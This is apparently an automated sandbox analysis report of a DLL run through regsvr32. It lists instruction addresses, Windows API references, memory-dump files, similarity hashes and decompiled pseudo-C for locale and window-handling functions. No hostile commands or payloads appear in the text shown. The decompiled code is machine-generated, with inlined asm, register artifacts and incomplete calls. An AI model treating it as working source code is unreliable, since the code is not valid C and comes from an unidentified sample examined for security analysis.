0x10047c94
0x10047c94
0x10047ca7
0x10047d9f
0x10047d9f
0x00000000
0x10047cad
0x10047cad
0x10047cb2
0x10047cb7
0x10047cc0
0x10047ccb
0x10047cd0
0x10047cdd
0x10047ce0
0x10047ce8
0x10047cef
0x10047cf1
0x10047d09
0x10047d10
0x10047d10
0x10047d0b
0x10047d0b
0x10047d0b
0x10047d0b
0x10047cf3
0x10047d02
0x10047d02
0x10047d15
0x00000000
0x10047d17
0x10047d19
0x00000000
0x00000000
0x00000000
0x10047d19
0x10047d15
0x10047d1f
0x10047d26
0x10047d3a
0x10047d2d
0x10047d30
0x10047d30
0x00000000
0x10047d26
0x10047ca7
0x10047c04
0x10047c04
0x10047c09
0x10047c0e
0x10047c17
0x10047c23
0x10047c28
0x10047c2e
0x10047c31
0x10047c39
0x10047c40
0x10047c42
0x10047c54
0x10047c5b
0x10047c5b
0x10047c56
0x10047c56
0x10047c56
0x10047c56
0x10047c44
0x10047c44
0x10047c4c
0x10047c4c
0x10047c60
0x00000000
0x00000000
0x00000000
0x10047c60
0x10047c62
0x00000000
0x10047c62
0x10047bcd
0x10047bcd
0x10047bd4
0x10047bda
0x10047bdd
0x10047da9
0x10047dad
0x10047f3f
0x10047f41
0x10047f73
0x10047f73
0x10047db6
0x10047e16
0x10047e16
0x10047e1e
0x10047e31
0x00000000
0x00000000
0x10047e37
0x10047e3c
0x10047e3f
0x10047e46
0x10047e48
0x00000000
0x10047e64
0x10047e64
0x10047e6f
0x00000000
0x00000000
0x10047e75
0x10047e85
0x00000000
0x00000000
0x10047e8e
0x10047e94
0x10047e9c
0x10047ea1
0x10047ea1
0x10047ea9
0x10047f38
0x00000000
0x10047eaf
0x10047eb5
0x10047ec3
0x10047ecd
0x10047ecf
0x10047ed2
0x10047ed9
0x10047ee2
0x10047ee2
0x10047f04
0x10047f07
0x10047f10
0x10047f1e
0x00000000
0x10047f20
0x10047f20
0x10047f2d
0x10047f2f
0x10047f2f
0x10047f33
0x00000000
0x10047f33
0x10047f1e
0x10047ea9
0x10047e48
0x10047db8
0x10047dc2
0x00000000
0x00000000
0x10047dc4
0x10047dc7
0x00000000
0x00000000
0x10047dc9
0x10047dd0
0x10047dd8
0x10047dda
0x00000000
0x00000000
0x10047ddc
0x10047de3
0x10047de6
0x10047deb
0x10047ded
0x00000000
0x00000000
0x10047def
0x10047df2
0x10047e09
0x00000000
0x00000000
0x10047e0f
0x00000000
0x10047e0f

APIs

Part of subcall function 10035F70: GetLastError.KERNEL32(?,?,?,?,1003DEC9), ref: 10035F7E
Part of subcall function 10035F70: FlsGetValue.KERNEL32(?,?,?,?,1003DEC9), ref: 10035F8C
Part of subcall function 10035F70: FlsSetValue.KERNEL32(?,?,?,?,1003DEC9), ref: 10035FB8
Part of subcall function 10035F70: GetCurrentThreadId.KERNEL32(?,?,?,?,1003DEC9), ref: 10035FCC
Part of subcall function 10035F70: SetLastError.KERNEL32(?,?,?,?,1003DEC9), ref: 10035FEA

GetUserDefaultLCID.KERNEL32 ref: 10047BD4
GetLocaleInfoA.KERNEL32 ref: 10047E01
GetLocaleInfoA.KERNEL32 ref: 10047E29
IsValidCodePage.KERNEL32 ref: 10047E67
IsValidLocale.KERNEL32 ref: 10047E7D
GetLocaleInfoA.KERNEL32 ref: 10047EFA
GetLocaleInfoA.KERNEL32 ref: 10047F16

Strings

OCP, xrefs: 10047DDC
Norwegian-Nynorsk, xrefs: 10047EB7
ACP, xrefs: 10047DC9

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: Locale$Info$ErrorLastValidValue$CodeCurrentDefaultPageThreadUser
String ID: ACP$Norwegian-Nynorsk$OCP
API String ID: 281127428-4064345498
Opcode ID: a811f289535543716404d8696a048eeca74dd66ed663c03f1f6cc7781b1575fd
Instruction ID: 7856d3a9d3f9a91316b5d455d594add22e6fe72dce350858c4ec57f14a76cd15
Opcode Fuzzy Hash: a811f289535543716404d8696a048eeca74dd66ed663c03f1f6cc7781b1575fd
Instruction Fuzzy Hash: 39B1A87261078186EB55CF22D8807AA33E1FB48B84FA24539DF8DC7794EB78D948C748

Uniqueness

Uniqueness Score: -1.00%

Function 10027C6C Relevance: 16.1, APIs: 8, Strings: 1, Instructions: 371
windowCOMMONCrypto

Download Yara Rule

C-Code - Quality: 62%

			E10027C6C(void* __ebx, signed int __ecx, void* __esi, intOrPtr* __rax, intOrPtr __rcx, void* __rdx, void* __r8, intOrPtr __r9, void* __r10, void* __r11, signed long long __r15) {
				signed int _v216;
				char _v488;
				char _v504;
				char _v528;
				intOrPtr _v532;
				intOrPtr _v536;
				intOrPtr _v540;
				intOrPtr _v544;
				signed int _v548;
				signed int _v552;
				intOrPtr _v568;
				signed long long _v576;
				signed long long _v584;
				signed long long _t116;
				signed long long _t118;
				signed char _t124;
				signed int _t149;
				signed long long _t150;
				signed long long _t154;
				signed long long _t158;
				signed long long _t159;
				signed long long _t160;
				signed short _t167;
				signed long long _t169;
				void* _t178;
				signed int _t181;
				signed int _t186;
				signed int _t187;
				void* _t193;
				signed int _t194;
				signed long long _t195;
				intOrPtr* _t204;
				signed long long _t205;
				signed long long _t206;
				intOrPtr _t207;
				signed long long _t208;
				intOrPtr* _t209;
				signed long long _t213;
				signed long long _t215;
				signed long long _t223;
				intOrPtr* _t242;
				signed long long _t248;
				void* _t252;
				signed long long _t253;
				signed long long _t254;
				signed long long _t273;
				signed long long _t274;
				signed long long _t278;
				signed long long _t280;
				void* _t286;
				void* _t287;
				void* _t289;
				signed long long _t290;
				void* _t293;
				void* _t299;
				void* _t300;
				signed long long _t302;
				signed long long _t306;
				signed long long _t309;

				_t309 = __r15;
				_t300 = __r11;
				_t299 = __r10;
				_t298 = __r9;
				_t293 = __r8;
				_t252 = __rdx;
				_t204 = __rax;
				_t193 = __esi;
				_t179 = __ecx;
				_t178 = __ebx;
				_t287 = _t286 - 0x20;
				_t207 = __rcx;
				if(__rdx > 0xffff) {
					_t181 = GetDlgCtrlID() & 0x0000ffff;
				}
				r8d = 0xffffffff;
				_t116 = E100279C8(_t178, _t179, _t181, _t207, _t252, _t298, _t299);
				_t278 = _t116;
				if(_t116 <= 0) {
					L10:
					return _t116;
				} else {
					r8d = 1;
					_t253 = _t278;
					_t116 = E1002D644(_t181, _t207 + 0x108, _t253, _t293);
					r11d = _t278 - 1;
					_t213 = r11d;
					if(r11d < 0 || _t213 >=  *((intOrPtr*)(_t207 + 0x118))) {
						L12:
						E1000E3A4();
						asm("int3");
						asm("int3");
						_push(_t207);
						_push(_t278);
						_push(_t271);
						_push(_t309);
						_t289 = _t287 - 0x20;
						__eflags = _t213;
						_t194 = r9d;
						_t306 = _t253;
						_t273 = _t213;
						if(_t213 == 0) {
							E1000E3A4();
							asm("int3");
						}
						__eflags = _t253;
						if(_t253 == 0) {
							E1000E3A4();
							asm("int3");
						}
						_t118 = E100279C8(_t178, _t179, _t181, _t213, _t253, _t298, _t299);
						__eflags = _t118;
						_t302 = _t118;
						if(_t118 <= 0) {
							_t118 = E1000E3A4();
							asm("int3");
						}
						r15d = 1;
						__eflags = _t194 - r15d;
						if(_t194 != r15d) {
							L36:
							_t31 = _t273 + 0x108; // 0x109
							_t294 = _t309;
							_t254 = _t302;
							E1002D644(_t181, _t31, _t254, _t294);
							_t32 = _t302 - 1; // -1
							r11d = _t32;
							__eflags = r11d;
							_t215 = r11d;
							if(r11d < 0) {
								L55:
								E1000E3A4();
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								_push(_t207);
								_push(_t283);
								_push(_t278);
								_push(_t273);
								_push(_t302);
								_push(_t306);
								_t290 = _t289 - 0x1a8;
								_t205 =  *0x100b1640; // 0xf93099fb11e7
								_t206 = _t205 ^ _t290;
								_v216 = _t206;
								__eflags = _t215;
								_t208 = _t294;
								_t274 = _t254;
								_t280 = _t215;
								if(_t215 == 0) {
									E1000E3A4();
									asm("int3");
								}
								__eflags = _t254;
								if(_t254 == 0) {
									E1000E3A4();
									asm("int3");
								}
								_t255 =  &_v528;
								GetWindowRect(??, ??);
								__eflags =  *(_t274 + 0xf0) - _t280;
								if( *(_t274 + 0xf0) != _t280) {
									L63:
									__eflags =  *(_t280 + 0x100);
									if( *(_t280 + 0x100) != 0) {
										__eflags =  *(_t274 + 0xe0) & 0x00000040;
										if(( *(_t274 + 0xe0) & 0x00000040) != 0) {
											_t56 = _t280 + 0xdc;
											 *_t56 =  *(_t280 + 0xdc) | 0x00000040;
											__eflags =  *_t56;
										}
									}
									 *(_t280 + 0xdc) =  *(_t280 + 0xdc) & 0xfffffff9;
									_t124 =  *(_t274 + 0xdc) & 0x00000006 |  *(_t280 + 0xdc);
									__eflags = _t124 & 0x00000040;
									 *(_t280 + 0xdc) = _t124;
									if((_t124 & 0x00000040) == 0) {
										r8d = 0x104;
										E10019BB0(_t181, _t193, _t206, _t274,  &_v488, _t294, _t298);
										_t255 =  &_v488;
										E10029BE0( *((intOrPtr*)(_t280 + 0x40)),  &_v488, _t294, _t298);
									}
									_t195 = 1;
									_t186 = ( *(_t274 + 0xdc) ^  *(_t280 + 0xdc)) & 0x0000f000 ^  *(_t274 + 0xdc) | 0x00000f00;
									__eflags =  *(_t280 + 0x100);
									if(__eflags == 0) {
										_t187 = _t186 & 0xfffffffe;
										__eflags = _t187;
									} else {
										_t187 = _t186 | 0x00000001;
									}
									E1002409C(_t187, __eflags, _t206, _t274);
									r12d = 0;
									__eflags =  *(_t274 + 0xf0) - _t280;
									if( *(_t274 + 0xf0) != _t280) {
										_t150 = IsWindowVisible();
										__eflags = _t150;
										if(_t150 != 0) {
											_v568 = 0x97;
											r9d = 0;
											r8d = 0;
											_t187 = 0;
											__eflags = 0;
											_v576 = r12d;
											_v584 = r12d;
											E10019AD8(_t274, _t255);
											r12d = _t195;
										}
									}
									__eflags = _t208;
									r13d = 0xffffffff;
									if(__eflags == 0) {
										_t295 = _t274;
										E1002D51C(_t187, _t206, _t280 + 0x108,  *((intOrPtr*)(_t280 + 0x118)), _t274);
										_t257 =  *((intOrPtr*)(_t280 + 0x118));
										r8d = 0;
										__eflags = r8d;
										E1002D51C(_t187, _t206, _t280 + 0x108,  *((intOrPtr*)(_t280 + 0x118)), _t274);
										r9d =  *0x100b72f4; // 0x2
										r8d =  *0x100b72f0; // 0x2
										_v568 = 0x115;
										r9d =  ~r9d;
										_v576 = 0;
										r8d =  ~r8d;
										_v584 = 0;
									} else {
										CopyRect();
										E1000F3D0(__eflags, _t280,  &_v552);
										_t295 =  &_v504;
										asm("movaps xmm0, [esp+0x40]");
										asm("movdqa [esp+0x70], xmm0");
										asm("cdq");
										_v536 = (_v544 - _v552 - _t187 >> 1) + _v552;
										asm("cdq");
										_t257 = _t274;
										_v532 = (_v540 - _v548 - _t187 >> 1) + _v548;
										_t298 = _v536;
										_t149 = E10027A58(_t178, _t179, _t206, _t280, _t274,  &_v504, _v536);
										r9d = _v548;
										r8d = _v552;
										_v568 = 0x114;
										_t179 = _v544 - r8d;
										_v576 = _v540 - r9d;
										_v584 = _v544 - r8d;
										r13d = _t149;
									}
									E10019AD8(_t274, _t257);
									GetParent(??);
									E10014360(_t178, 0, _t206, _t206, _t257, _t295, _t298, _t300);
									__eflags = _t206 - _t280;
									if(_t206 != _t280) {
										_t257 =  *((intOrPtr*)(_t280 + 0x40));
										SetParent(??, ??);
										E10014360(_t178, 0, _t206, _t206,  *((intOrPtr*)(_t280 + 0x40)), _t295, _t298, _t300);
									}
									_t223 =  *(_t274 + 0xf0);
									__eflags = _t223 - _t280;
									if(_t223 != _t280) {
										__eflags = _t223;
										if(_t223 != 0) {
											__eflags =  *(_t280 + 0x100);
											if( *(_t280 + 0x100) == 0) {
												L84:
												_t195 = 0;
												__eflags = 0;
											} else {
												__eflags =  *(_t223 + 0x100);
												if( *(_t223 + 0x100) != 0) {
													goto L84;
												}
											}
											r9d = _t195;
											r8d = 0xffffffff;
											goto L86;
										}
									} else {
										r9d = 0;
										r8d = r13d;
										L86:
										_t257 = _t274;
										L13();
									}
									__eflags = r12d;
									 *(_t274 + 0xf0) = _t280;
									if(r12d != 0) {
										_v568 = 0x57;
										r9d = 0;
										r8d = 0;
										__eflags = 0;
										_v576 = 0;
										_v584 = 0;
										E10019AD8(_t274, _t257);
									}
									E10027C6C(_t178, _t179, _t193, _t206, _t280, _t274, _t295, _t298, _t299, _t300, _t309);
									E1001E7D0(_t206, _t280);
									_t113 = _t206 + 0x170;
									 *_t113 =  *(_t206 + 0x170) | 0x0000000c;
									__eflags =  *_t113;
								} else {
									__eflags = _t208;
									if(_t208 != 0) {
										_t255 = _t208;
										_t154 = EqualRect(??, ??);
										__eflags = _t154;
										if(_t154 == 0) {
											goto L63;
										}
									}
								}
								__eflags = _v216 ^ _t290;
								return E1002FF40(_t179, _v216 ^ _t290);
							} else {
								__eflags = _t215 -  *((intOrPtr*)(_t273 + 0x118));
								if(_t215 >=  *((intOrPtr*)(_t273 + 0x118))) {
									goto L55;
								} else {
									_t204 =  *((intOrPtr*)(_t273 + 0x110));
									__eflags =  *((long long*)(_t204 + _t215 * 8));
									if( *((long long*)(_t204 + _t215 * 8)) != 0) {
										L43:
										__eflags = _t194 - 0xffffffff;
										if(_t194 != 0xffffffff) {
											E10027C6C(_t178, _t179, _t193, _t204, _t273, _t306, _t294, _t298, _t299, _t300, _t309);
										}
										goto L45;
									} else {
										__eflags = r12d;
										if(r12d < 0) {
											L48:
											E1000E3A4();
											asm("int3");
											goto L49;
										} else {
											__eflags = _t302 -  *((intOrPtr*)(_t273 + 0x118));
											if(_t302 >=  *((intOrPtr*)(_t273 + 0x118))) {
												goto L48;
											} else {
												__eflags =  *((long long*)(_t204 + _t302 * 8));
												if( *((long long*)(_t204 + _t302 * 8)) == 0) {
													_t40 = _t273 + 0x108; // 0x109
													_t294 = _t309;
													E1002D644(_t181, _t40, _t302, _t309);
												}
												goto L43;
											}
										}
									}
									goto L47;
								}
							}
						} else {
							__eflags = _t118;
							if(_t118 < 0) {
								L35:
								E1000E3A4();
								asm("int3");
								goto L36;
							} else {
								__eflags = _t302 -  *((intOrPtr*)(_t273 + 0x118));
								if(_t302 >=  *((intOrPtr*)(_t273 + 0x118))) {
									goto L35;
								} else {
									_t207 =  *((intOrPtr*)(_t273 + 0x110));
									_t167 = GetDlgCtrlID(??);
									__eflags = r12d;
									_t179 = _t167 & 0x0000ffff;
									 *((long long*)(_t207 + _t302 * 8)) =  *((intOrPtr*)(_t306 + 0x40));
									if(r12d < 0) {
										L34:
										E1000E3A4();
										asm("int3");
										goto L35;
									} else {
										__eflags = _t302 -  *((intOrPtr*)(_t273 + 0x118));
										if(_t302 >=  *((intOrPtr*)(_t273 + 0x118))) {
											goto L34;
										} else {
											r8d = r12d;
											_t169 = E100279C8(_t178, _t179, _t181, _t273,  *((intOrPtr*)( *((intOrPtr*)(_t273 + 0x110)) + _t302 * 8)), _t298, _t299);
											__eflags = _t169;
											if(_t169 <= 0) {
												L45:
												__eflags =  *((long long*)(_t306 + 0xf8));
												if( *((long long*)(_t306 + 0xf8)) != 0) {
													L49:
													E1001E7D0(_t204, _t273);
													__eflags =  *(_t273 + 0x100);
													_t209 = _t204;
													if( *(_t273 + 0x100) == 0) {
														L54:
														 *(_t209 + 0x170) =  *(_t209 + 0x170) | 0x0000000c;
														goto L46;
													} else {
														_t159 =  *((intOrPtr*)( *_t273 + 0x2e0))();
														__eflags = _t159;
														if(_t159 != 0) {
															goto L54;
														} else {
															_t160 = E10027C28(_t204, _t273);
															_t242 = _t209;
															__eflags = _t160;
															if(_t160 != 0) {
																E10019A10(_t242);
																goto L46;
															} else {
																 *((intOrPtr*)( *_t209 + 0xc0))();
																_t158 = r15d;
															}
														}
													}
												} else {
													L46:
													_t158 = 0;
													__eflags = 0;
												}
												L47:
												return _t158;
											} else {
												_t21 = _t273 + 0x108; // 0x109
												E1002D644(_t181, _t21, _t302, _t309);
												r11d = _t302 - 1;
												__eflags = r11d;
												_t248 = r11d;
												if(r11d < 0) {
													L33:
													E1000E3A4();
													asm("int3");
													goto L34;
												} else {
													__eflags = _t248 -  *((intOrPtr*)(_t273 + 0x118));
													if(_t248 >=  *((intOrPtr*)(_t273 + 0x118))) {
														goto L33;
													} else {
														_t204 =  *((intOrPtr*)(_t273 + 0x110));
														__eflags =  *((long long*)(_t204 + _t248 * 8));
														if( *((long long*)(_t204 + _t248 * 8)) != 0) {
															goto L45;
														} else {
															__eflags = r12d;
															if(r12d < 0) {
																L32:
																E1000E3A4();
																asm("int3");
																goto L33;
															} else {
																__eflags = _t302 -  *((intOrPtr*)(_t273 + 0x118));
																if(_t302 >=  *((intOrPtr*)(_t273 + 0x118))) {
																	goto L32;
																} else {
																	__eflags =  *((long long*)(_t204 + _t302 * 8));
																	if( *((long long*)(_t204 + _t302 * 8)) == 0) {
																		_t30 = _t273 + 0x108; // 0x109
																		E1002D644(_t181, _t30, _t302, _t309);
																	}
																	goto L45;
																}
															}
														}
													}
												}
											}
										}
									}
								}
							}
						}
					} else {
						_t204 =  *((intOrPtr*)(_t207 + 0x110));
						if( *((long long*)(_t204 + _t213 * 8)) != 0) {
							goto L10;
						} else {
							if(_t193 < 0 || _t278 >=  *((intOrPtr*)(_t207 + 0x118))) {
								E1000E3A4();
								asm("int3");
								goto L12;
							} else {
								if( *((long long*)(_t204 + _t278 * 8)) == 0) {
									r8d = 1;
									_t116 = E1002D644(_t181, _t207 + 0x108, _t278, _t293);
								}
								goto L10;
							}
						}
					}
				}
			}

0x10027c6c
0x10027c6c
0x10027c6c
0x10027c6c
0x10027c6c
0x10027c6c
0x10027c6c
0x10027c6c
0x10027c6c
0x10027c6c
0x10027c70
0x10027c7b
0x10027c7e
0x10027c8a
0x10027c8a
0x10027c8d
0x10027c96
0x10027c9d
0x10027ca0
0x10027d03
0x10027d0a
0x10027ca2
0x10027ca9
0x10027caf
0x10027cb2
0x10027cb7
0x10027cbe
0x10027cc1
0x10027d11
0x10027d11
0x10027d16
0x10027d17
0x10027d18
0x10027d1b
0x10027d1c
0x10027d21
0x10027d23
0x10027d27
0x10027d2a
0x10027d2d
0x10027d30
0x10027d33
0x10027d35
0x10027d3a
0x10027d3a
0x10027d3b
0x10027d3e
0x10027d40
0x10027d45
0x10027d45
0x10027d46
0x10027d4b
0x10027d4d
0x10027d50
0x10027d52
0x10027d57
0x10027d57
0x10027d58
0x10027d5e
0x10027d61
0x10027e4a
0x10027e4a
0x10027e51
0x10027e54
0x10027e57
0x10027e5c
0x10027e5c
0x10027e61
0x10027e64
0x10027e67
0x10027f33
0x10027f33
0x10027f38
0x10027f39
0x10027f3a
0x10027f3b
0x10027f3c
0x10027f3e
0x10027f3f
0x10027f40
0x10027f41
0x10027f43
0x10027f45
0x10027f4c
0x10027f53
0x10027f56
0x10027f5e
0x10027f61
0x10027f64
0x10027f67
0x10027f6a
0x10027f6c
0x10027f71
0x10027f71
0x10027f72
0x10027f75
0x10027f77
0x10027f7c
0x10027f7c
0x10027f81
0x10027f86
0x10027f8c
0x10027f93
0x10027fb4
0x10027fb4
0x10027fbb
0x10027fbd
0x10027fc4
0x10027fc6
0x10027fc6
0x10027fc6
0x10027fc6
0x10027fc4
0x10027fcd
0x10027fdd
0x10027fe3
0x10027fe5
0x10027feb
0x10027ff5
0x10027ffe
0x10028007
0x1002800f
0x1002800f
0x1002801a
0x10028031
0x10028037
0x1002803e
0x10028044
0x10028044
0x10028040
0x10028040
0x10028040
0x1002804a
0x1002804f
0x10028052
0x10028059
0x1002805f
0x10028065
0x10028067
0x10028069
0x10028071
0x10028074
0x10028077
0x10028077
0x1002807c
0x10028081
0x10028086
0x1002808b
0x1002808b
0x10028067
0x1002808e
0x10028091
0x10028097
0x1002813d
0x10028140
0x10028145
0x10028153
0x10028153
0x10028156
0x1002815b
0x10028162
0x10028169
0x10028171
0x10028174
0x1002817c
0x1002817f
0x1002809d
0x100280a5
0x100280b3
0x100280bc
0x100280c1
0x100280c6
0x100280d3
0x100280dc
0x100280e8
0x100280eb
0x100280f4
0x100280f8
0x100280fd
0x10028106
0x1002810f
0x10028117
0x1002811f
0x10028122
0x10028126
0x1002812a
0x1002812a
0x1002818c
0x10028195
0x1002819e
0x100281a3
0x100281a6
0x100281a8
0x100281b0
0x100281b9
0x100281b9
0x100281be
0x100281c5
0x100281c8
0x100281d2
0x100281d5
0x100281d7
0x100281de
0x100281e9
0x100281e9
0x100281e9
0x100281e0
0x100281e0
0x100281e7
0x00000000
0x00000000
0x100281e7
0x100281eb
0x100281ee
0x00000000
0x100281ee
0x100281ca
0x100281ca
0x100281cd
0x100281f4
0x100281f4
0x100281f7
0x100281f7
0x100281fc
0x100281ff
0x10028206
0x10028208
0x10028210
0x10028213
0x10028216
0x1002821b
0x10028223
0x1002822b
0x1002822b
0x10028236
0x1002823e
0x10028243
0x10028243
0x10028243
0x10027f95
0x10027f95
0x10027f98
0x10027fa3
0x10027fa6
0x10027fac
0x10027fae
0x00000000
0x00000000
0x10027fae
0x10027f98
0x10028252
0x10028269
0x10027e6d
0x10027e6d
0x10027e74
0x00000000
0x10027e7a
0x10027e7a
0x10027e81
0x10027e86
0x10027eaf
0x10027eaf
0x10027eb2
0x10027eba
0x10027eba
0x00000000
0x10027e88
0x10027e88
0x10027e8b
0x10027eda
0x10027eda
0x10027edf
0x00000000
0x10027e8d
0x10027e8d
0x10027e94
0x00000000
0x10027e96
0x10027e96
0x10027e9b
0x10027e9d
0x10027ea4
0x10027eaa
0x10027eaa
0x00000000
0x10027e9b
0x10027e94
0x10027e8b
0x00000000
0x10027e86
0x10027e74
0x10027d67
0x10027d67
0x10027d69
0x10027e44
0x10027e44
0x10027e49
0x00000000
0x10027d6f
0x10027d6f
0x10027d76
0x00000000
0x10027d7c
0x10027d80
0x10027d87
0x10027d8d
0x10027d90
0x10027d93
0x10027d97
0x10027e3e
0x10027e3e
0x10027e43
0x00000000
0x10027d9d
0x10027d9d
0x10027da4
0x00000000
0x10027daa
0x10027db1
0x10027dbb
0x10027dc0
0x10027dc2
0x10027ebf
0x10027ebf
0x10027ec7
0x10027ee0
0x10027ee3
0x10027ee8
0x10027eef
0x10027ef2
0x10027f2a
0x10027f2a
0x00000000
0x10027ef4
0x10027efa
0x10027f00
0x10027f02
0x00000000
0x10027f04
0x10027f07
0x10027f0c
0x10027f0f
0x10027f11
0x10027f23
0x00000000
0x10027f13
0x10027f16
0x10027f1c
0x10027f1c
0x10027f11
0x10027f02
0x10027ec9
0x10027ec9
0x10027ec9
0x10027ec9
0x10027ec9
0x10027ecb
0x10027ed9
0x10027dc8
0x10027dc8
0x10027dd5
0x10027dda
0x10027ddf
0x10027de2
0x10027de5
0x10027e38
0x10027e38
0x10027e3d
0x00000000
0x10027de7
0x10027de7
0x10027dee
0x00000000
0x10027df0
0x10027df0
0x10027df7
0x10027dfc
0x00000000
0x10027e02
0x10027e02
0x10027e05
0x10027e32
0x10027e32
0x10027e37
0x00000000
0x10027e07
0x10027e07
0x10027e0e
0x00000000
0x10027e10
0x10027e10
0x10027e15
0x10027e1b
0x10027e28
0x10027e28
0x00000000
0x10027e15
0x10027e0e
0x10027e05
0x10027dfc
0x10027dee
0x10027de5
0x10027dc2
0x10027da4
0x10027d97
0x10027d76
0x10027d69
0x10027ccc
0x10027ccc
0x10027cd8
0x00000000
0x10027cda
0x10027cdc
0x10027d0b
0x10027d10
0x00000000
0x10027ce7
0x10027cec
0x10027cf5
0x10027cfe
0x10027cfe
0x00000000
0x10027cec
0x10027cdc
0x10027cd8
0x10027cc1

APIs

GetDlgCtrlID.USER32 ref: 10027C84
GetDlgCtrlID.USER32 ref: 10027D87
GetWindowRect.USER32 ref: 10027F86
EqualRect.USER32 ref: 10027FA6
IsWindowVisible.USER32 ref: 1002805F

Strings

W, xrefs: 10028208

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: CtrlRectWindow$EqualVisible
String ID: W
API String ID: 1148624352-655174618
Opcode ID: e789faae6ae71358d8d83d71de3dca11200d2d4d3bf0fdf79f825d4c3e6efd72
Instruction ID: 496459805e8fbbebc27e49c8ffa290a8bf8c8aae57b76e7e8442df504ff038d6
Opcode Fuzzy Hash: e789faae6ae71358d8d83d71de3dca11200d2d4d3bf0fdf79f825d4c3e6efd72
Instruction Fuzzy Hash: B3D135363046C182EB69DB32F5457AE67A1FB88BC0F814021EF9E47A48DF78E995C711

Uniqueness

Uniqueness Score: -1.00%

Function 10025238 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 156
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E10025238(void* __ebx, void* __ecx, void* __edx, void* __esi, void* __eflags, long long __rax, intOrPtr* __rcx, void* __rdx, void* __r8, void* __r9, void* __r11, char _a24) {
				intOrPtr _v88;
				char _v136;
				signed int _t37;
				signed int _t40;
				int _t44;
				short _t47;
				short _t51;
				short _t53;
				void* _t56;
				void* _t57;
				void* _t61;
				intOrPtr _t66;
				void* _t67;
				long long _t70;
				signed int _t71;
				intOrPtr* _t72;
				void* _t93;
				void* _t99;
				intOrPtr* _t100;
				void* _t103;
				void* _t105;
				long long _t106;
				void* _t108;
				long long _t109;

				_t105 = __r11;
				_t103 = __r9;
				_t101 = __r8;
				_t91 = __rdx;
				_t70 = __rax;
				_t67 = __esi;
				_t61 = __edx;
				_t57 = __ecx;
				_t56 = __ebx;
				_t108 = __rdx;
				_t72 = __rcx;
				if(E10011710(__rax, __rcx, __rdx, __r8) == 0) {
					_t74 =  *(_t72 + 0x70);
					_t66 =  *((intOrPtr*)(_t108 + 8));
					__eflags =  *(_t72 + 0x70);
					if( *(_t72 + 0x70) == 0) {
						GetParent();
						_t74 = __rax;
					}
					E10014360(_t56, _t61, _t70, _t74, _t91, _t101, _t103, _t105);
					__eflags =  *(_t72 + 0xdc) & 0x00000020;
					r13d = 0x201;
					_t100 = _t70;
					if(( *(_t72 + 0xdc) & 0x00000020) != 0) {
						L7:
						__eflags = _t66 - 0x200;
						if(_t66 < 0x200) {
							L9:
							__eflags = _t99 - 0xa0 - 9;
							if(_t99 - 0xa0 > 9) {
								L32:
								E1001522C(_t72);
								__eflags = _t70;
								if(_t70 == 0) {
									L34:
									__eflags = _t100;
									if(_t100 == 0) {
										L37:
										_t37 = IsWindow();
										__eflags = _t37;
										if(_t37 == 0) {
											L39:
											__eflags = 0;
											return 0;
										}
										return E10011E90(_t108);
									} else {
										goto L35;
									}
									while(1) {
										L35:
										_t71 =  *_t100;
										_t93 = _t108;
										_t40 =  *((intOrPtr*)(_t71 + 0x200))();
										__eflags = _t40;
										if(_t40 != 0) {
											goto L1;
										}
										E100151DC(_t71, _t100, _t93);
										__eflags = _t71;
										_t100 = _t71;
										if(_t71 != 0) {
											continue;
										}
										goto L37;
									}
									goto L1;
								}
								__eflags =  *(_t70 + 0xc4);
								if( *(_t70 + 0xc4) != 0) {
									goto L39;
								}
								goto L34;
							}
							L10:
							E1001A9E4(_t56, _t57, _t61, _t67, _t70, _t74, _t91, _t101, _t103, _t105);
							_t94 =  &_a24;
							_a24 =  *((intOrPtr*)(_t108 + 0x24));
							_t109 = _t70;
							_t44 = ScreenToClient(??, ??);
							_t13 = _t94 + 0x48; // 0x48
							r8d = _t13;
							E1002E410(_t44, _t57, 0,  &_v136,  &_a24, _t101);
							_v136 = 0x38;
							 *((intOrPtr*)( *_t72 + 0xd8))();
							_t84 = _v88;
							__eflags = _v88 - 0xffffffff;
							_t106 = _t70;
							if(_v88 != 0xffffffff) {
								E1002E330(_t70, _t84);
							}
							__eflags = _t66 - r13d;
							if(__eflags != 0) {
								L15:
								r13d = 0;
								__eflags = _t66 - 0x201;
								if(_t66 != 0x201) {
									_t53 = GetKeyState();
									__eflags = _t53;
									if(_t53 < 0) {
										_t106 =  *((intOrPtr*)(_t109 + 0x98));
									}
								}
								goto L18;
							} else {
								asm("bt dword [esp+0x24], 0x1f");
								if(__eflags >= 0) {
									goto L15;
								}
								r13d = 1;
								L18:
								__eflags = _t106;
								if(_t106 < 0) {
									L28:
									_t47 = GetKeyState();
									__eflags = _t47;
									if(_t47 >= 0) {
										L30:
										_t70 =  *_t72;
										 *((intOrPtr*)(_t70 + 0x2d0))();
										KillTimer(??, ??);
										L31:
										 *((long long*)(_t109 + 0x98)) = _t106;
										goto L32;
									}
									__eflags = r13d;
									if(r13d == 0) {
										goto L31;
									}
									goto L30;
								}
